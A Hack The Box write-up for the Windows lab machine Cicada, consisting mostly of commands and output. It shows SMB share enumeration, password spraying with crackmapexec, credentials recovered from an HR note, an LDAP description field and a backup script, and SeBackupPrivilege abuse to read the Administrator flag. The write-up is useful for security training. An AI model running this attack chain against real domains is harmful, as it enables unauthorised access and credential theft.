> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-03-27

Hack The Box — Cicada (Windows)

Anonymous SMB share discovery, password reuse across domain users, credential pivot to emily.oscars, then Backup Operators abuse with SeBackupPrivilege to read Administrator flag.

Target

  • IP: 10.129.34.29

Recon

sudo nmap -sC -sV 10.129.34.29 -p- -T5 -v

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-29 17:31:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
59945/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
|   date: 2024-09-29T17:32:51
|_  start_date: N/A

Add cicada.htb and CICADA-DC.cicada.htb to /etc/hosts.

Enumeration

smbclient -N -L //10.129.34.29/

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk
        HR              Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share

smbclient -N //10.129.34.29/HR

dir
get "Notice from HR.txt"

In that file we find credentials:

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

./kerbrute userenum -d cicada.htb --dc 10.129.34.29 /home/kali/SecLists/Usernames/xato-net-10-million-usernames.txt -t 50

We find guest and administrator. Put them in users.txt.

crackmapexec ldap cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

LDAP        cicada.htb      389    CICADA-DC        [+] cicada.htb\:Cicada$M6Corpb*@Lp#nZp!8

pip3 install ldapdomaindump
ldapdomaindump cicada.htb -u 'cicada.htb\' -p 'Cicada$M6Corpb*@Lp#nZp!8'

No useful output.

crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --rid-brute

SMB         cicada.htb      445    CICADA-DC        [+] Brute forcing RIDs
SMB         cicada.htb      445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         cicada.htb      445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         cicada.htb      445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         cicada.htb      445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         cicada.htb      445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         cicada.htb      445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         cicada.htb      445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         cicada.htb      445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Put the found users into users.txt.

crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

SMB         cicada.htb      445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         cicada.htb      445    CICADA-DC        [+] cicada.htb\Dev Support:Cicada$M6Corpb*@Lp#nZp!8

crackmapexec ldap cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

LDAP        cicada.htb      389    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP        cicada.htb      389    CICADA-DC        [+] cicada.htb\Dev Support:Cicada$M6Corpb*@Lp#nZp!8

We can enumerate the domain with bloodhound to find interesting attack paths.

bloodhound-python -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -ns 10.129.34.29 -d 'cicada.htb' -dc 'CICADA-DC.cicada.htb' -c All --zip

sudo neo4j console
bloodhound --no-sandbox

ldapdomaindump cicada.htb -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

In the file domain_users.html, in a description field, we find david.orelious password:

aRt$Lp#7t*VQ!3

Add david.orelious to users.txt. Create passwords.txt with discovered passwords.

crackmapexec smb cicada.htb -u users.txt -p passwords.txt --continue-on-success

SMB         cicada.htb      445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3

smbclient -U 'david.orelious' //10.129.189.160/DEV
get Backup_script.ps1

Inside file:

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force

evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

BloodHound shows emily.oscars is in Backup Operators. Useful reference:

  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges#backup-operators

Exploit source:

  • https://github.com/giuliano108/SeBackupPrivilege

Compile project with Visual Studio. Copy SeBackupPrivilegeUtils.dll and SeBackupPrivilegeCmdLets.dll to victim.

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege
Get-SeBackupPrivilege

Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\root.txt C:\Users\emily.oscars.CICADA\Downloads\root.txt -Overwrite
type root.txt